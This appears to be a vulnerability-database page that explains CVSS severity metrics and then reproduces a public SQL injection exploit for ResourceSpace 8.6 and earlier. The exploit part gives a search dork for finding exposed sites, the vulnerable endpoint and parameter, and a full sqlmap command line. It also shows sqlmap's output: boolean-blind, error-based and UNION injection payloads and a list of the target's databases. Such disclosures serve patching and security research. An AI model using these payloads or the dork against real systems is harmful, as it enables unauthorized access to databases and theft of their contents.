The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: ResourceSpace 8.6 watched_searches.php SQL Injection
# Exploit Title: ResourceSpace <=8.6 'watched_searches.php' SQL Injection
# Dork: intext:"Powered by ResourceSpace"
# Date: 2019-02-01
# Exploit Author: dd_ ([email protected])
# Vendor Homepage: https://www.resourcespace.com/
# Software Link: https://www.resourcespace.com/get
# Version: Stable release: 8.6 (Minor: 12603)
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Research IRC: irc.blackcatz.org #blackcatz
# Vendor Banner: ResourceSpace open source digital asset management software is the simple, fast, & free way to organise your digital assets.
# POC:
# 1)
# http://resourcespace.local/plugins/rse_search_notifications/pages/watched_searches.php?offset=0&callback=checknow&ref=[SQL]&ajax=true&_=1548992497510
# Example:
#
[notroot@malicious ~]$ sqlmap -u 'http://resourcespace.local:80/plugins/rse_search_notifications/pages/watched_searches.php?offset=0&callback=checknow&ref=2'\''&ajax=true&_=1548992497510' --cookie='cookiecheck=true;language=en-US;user=d170aee58aadb30833490bc38aecc85b;thumbs=show;saved_col_order_by=created;saved_col_sort=ASC;per_page_list=15;saved_find=some;display=thumbs;saved_offset=0;per_page=48;saved_sort=DESC;restypes=1%2C2%2C3%2C4' --dbms=mysql --level=5 --risk=3 --technique=BEUST -p ref --dbs
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:27:03 /2019-02-01/
[15:27:03] [WARNING] it appears that you have provided tainted parameter values ('ref=2'') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[15:27:03] [INFO] testing connection to the target URL
[15:27:03] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: ref (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: offset=0&callback=checknow&ref=2' AND 6321=6321# YBHT&ajax=true&_=1548992497510
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
Payload: offset=0&callback=checknow&ref=-5346 OR 1 GROUP BY CONCAT(0x716b6a6271,(SELECT (CASE WHEN (9852=9852) THEN 1 ELSE 0 END)),0x716b627671,FLOOR(RAND(0)*2)) HAVING MIN(0)#&ajax=true&_=1548992497510
Type: UNION query
Title: Generic UNION query (random number) - 12 columns
Payload: offset=0&callback=checknow&ref=-5045 UNION ALL SELECT CONCAT(0x716b6a6271,0x676e72684e744a54485a747a4c5249684657485649744b416866756b7955614d646f636d457a7179,0x716b627671),6594,6594,6594,6594,6594,6594,6594,6594,6594,6594,6594-- ajba&ajax=true&_=1548992497510
---
[15:27:03] [INFO] testing MySQL
[15:27:04] [INFO] confirming MySQL
[15:27:04] [WARNING] reflective value(s) found and filtering out
[15:27:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.0
[15:27:04] [INFO] fetching database names
[15:27:04] [INFO] used SQL query returns 3 entries
[15:27:04] [INFO] resumed: 'information_schema'
[15:27:04] [INFO] resumed: 'mybb'
[15:27:04] [INFO] resumed: 'resourcespace'
available databases [3]:
[*] information_schema
[*] mybb
[*] resourcespace
[15:27:04] [INFO] fetched data logged to text files under '/home/notroot/.sqlmap/output/resourcespace.local'
[*] ending @ 15:27:04 /2019-02-01/
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